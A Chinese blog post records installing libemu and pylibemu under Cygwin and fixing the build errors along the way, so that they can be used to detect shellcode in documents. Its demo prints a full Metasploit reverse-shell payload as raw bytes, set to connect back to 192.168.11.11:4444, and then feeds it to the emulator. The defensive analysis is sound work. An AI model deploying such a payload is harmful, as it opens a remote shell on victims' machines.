看到python东西就有一种莫名的兴奋,个人觉得编程越简单越好,在IT人员被定义成21世纪矿工的今天,代码写的越多只能代表你矿挖的多,但不代表你挖的矿有价值或是可以换取更多的价值。何况国内多少人是在挖人挖剩下的矿渣。 读了DVLabs的一篇文章Shellcode De
看到python东西就有一种莫名的兴奋,个人觉得编程越简单越好,在IT人员被定义成21世纪矿工的今天,代码写的越多只能代表你矿挖的多,但不代表你挖的矿有价值或是可以换取更多的价值。何况国内多少人是在挖人挖剩下的矿渣。
读了DVLabs的一篇文章“Shellcode Detection Using Python”,便动手实践了一下。Dvlabs说:“他们收集了大量的文件和文档,要识别出这些文档那些是恶意的,需要大量的人工分析,他们为了减少工作量想采用了自动化分析的方法。自动化恶意文档分析的主要方法之一是shellcode检测,即检测文档中是否包含shellcode”。
DVLabs文章中提到了两个python版的shellcode检测工具:Pylibemu、Pylibscizzle。
Pylibemu 封装了Libemu http://libemu.carnivore.it/,提供了更多的功能,但并没有增加使用的复杂程度。Pylibemu一个重要的功能函数是test(),这个函数可以看出shellcode调用windows API信息。
Pylibemu实际测试:
安装Pylibemu,先下载https://github.com/buffer/pylibemu,再下载libemu
git clone git://git.carnivore.it/libemu.git
windows平台下git可使用msysgit(http://code.google.com/p/msysgit/downloads/list)
我的测试环境是windows 7 ,在windows平台下使用libemu需要安装Cygwin,并需要以下包:
- gcc;
- make;
- automake;
- libtool;
- gettext-devel;
- python
将下载好libemu放置的指定目录下,最好在windows下设置Cygwin的环境变量。
在configure.ac中添加AC_CONFIG_MACRO_DIR([m4]),内容如下:
# -*- mode: m4; -*-
# -*- Autoconf -*-
# Process this file with autoconf to produce a configure script.
# $Id$
AC_CONFIG_MACRO_DIR([m4])
AC_PREREQ(2.59)
....
在Cygwin命令行下切换至libemu目录输入autoreconf -v –i
删除在configure.ac中添加的AC_CONFIG_MACRO_DIR([m4])
在Cygwin命令行下输入./configure --prefix=/opt/libemu,最后会提示错误:
checking for cargos-lib.h... no
configure: creating ./config.status
.in'ig.status: error: cannot find input file: `Makefile
解决办法是:先用notpad++将configure文件转换为windows格式,保存。在将configure文件转换会linux格式保存。
重新运行./configure --prefix=/opt/libemu
运行make,又会出现如下错误:
cc1: warnings being treated as errors
userhooks.c: In function ‘append’:
userhooks.c:168:3: error: array subscript has type ‘char’
Makefile:365: recipe for target `sctest-userhooks.o' failed
make[3]: *** [sctest-userhooks.o] Error 1
make[3]: Leaving directory `/cygdrive/f/linux/libemu/tools/sctest'
Makefile:264: recipe for target `all-recursive' failed
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/cygdrive/f/linux/libemu/tools'
Makefile:353: recipe for target `all-recursive' failed
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/cygdrive/f/linux/libemu'
Makefile:260: recipe for target `all' failed
make: *** [all] Error 2
解决方法:修改tools\sctest目录下userhooks.c的168行为
if ( isprint((int)data[i]))// || isblank(data[i]))
运行make install www.2cto.com
running build
running build_ext
将Pylibeum解压到指定目录,在Cygwin命令行下
运行python setup.py build
running build
running build_ext
运行python setup.py install
running install
running build
running build_ext
building 'pylibemu' extension
...
copying build/lib.cygwin-1.7.9-i686-2.6/pylibemu.dll -> /usr/lib/python2.6/site-packages
running install_egg_info
Writing /usr/lib/python2.6/site-packages/pylibemu-0.1.4-py2.6.egg-info
非常顺利的安装成功了,在cygwin下运行python,进入python交互式命令行运行
Import pylibemu
悲剧的事情发生了,提示如下错误:
>>> import pylibemu
Traceback (most recent call last):
File "", line 1, in
ImportError: No such file or directory
这个问题花了我近一个下午的时间才解决,其实很多python的安装包在cygwin下会出现这个问题,如果仔细观看pylibemu的安装信息会发现,pylibemu只向site-packages目录下写了pylibemu-0.1.4-py2.6.egg-info和pylibemu.dll文件,也就是说实体文件只有pylibemu.dll,最后终于通过google搜到了一篇相关一点的文章,作者说对于只有dll的cygwin python模块出现No such file or directory原因可能是dll无法加载,通过提示有仔细看了一下ImportError,提示的是文件或目录不存在,而不是模块不存在。
运行cygcheck.exe /usr/lib/python2.6/site-packages/pylibemu.dll
提示如下错误:
F:\cygwin\lib\python2.6\site-packages\pylibemu.dll
cygcheck: track_down: could not find cygemu-2.dll
原来是无法找到cygemu-2.dll,导致pylibemu.dll无法加载。cygemu-2.dll是libemu在cygwin下编译的文件,该文件在/opt/libemu/bin目录下,可能是我没有加环境变量,我得做法不是加环境变量,而是将cygemu-2.dll考到cygwin的bin目录下一份。
在python环境下运行import pylibemu 问题成功解决
Demo:
用metasploit生成一个反向shellcode
msf > use windows/shell_reverse_tcp
msf payload(shell_reverse_tcp) > set LHOST 192.168.11.11
LHOST => 192.168.11.11
msf payload(shell_reverse_tcp) > generate -t ruby
view sourceprint?01 # windows/shell_reverse_tcp - 314 bytes
02 # http://www.metasploit.com
03 # VERBOSE=false, LHOST=192.168.11.11, LPORT=4444,
04 # ReverseConnectRetries=5, EXITFUNC=process,
05 # InitialAutoRunScript=, AutoRunScript=
06 buf ="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
07 +"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
08 +"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
09 +"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
10 +"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
11 +"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
12 +"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
13 +"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
14 +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
15 +"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
16 +"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
17 +"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
18 +"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
19 +"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68"
20 +"\xc0\xa8\x0b\x0b\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
21 +"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89"
22 +"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7"
23 +"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50"
24 +"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
25 +"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d"
26 +"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff"
27 +"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
28 +"\x6f\x6a\x00\x53\xff\xd5"
python测试代码:
view sourceprint?01 #!/usr/bin/python
02 import pylibemu
03 shellcode =("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
04 +"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
05 +"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
06 +"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"
07 +"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
08 +"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
09 +"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"
10 +"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"
11 +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
12 +"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
13 +"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f"
14 +"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
15 +"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50"
16 +"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68"
17 +"\xc0\xa8\x0b\x0b\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
18 +"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89"
19 +"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7"
20 +"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50"
21 +"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
22 +"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d"
23 +"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff"
24 +"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
25 +"\x6f\x6a\x00\x53\xff\xd5")
26 emulator = pylibemu.Emulator()
27 emulator.prepare(shellcode, 1)
28 emulator.test()
29 print emulator.emu_profile_output
结果:
HMODULE LoadLibraryA (
LPCTSTR = 0x00c3c590 =>
= "ws2_32";
) = 1906376704;
实际上,pylibemu在动态shellcode执行的功能还可以,检测文档中是否存在shellcode的效果并不是很理想,Pylibscizzle在这方面比它要好点。下一篇准备介绍下Pylibscizzle,并与pylibemu在文档shellcode检测上做一个比较。
Author:wpulog
Data:2011/12/27
参考文档:http://dvlabs.tippingpoint.com/blog/2011/12/05/shellcode-detection-python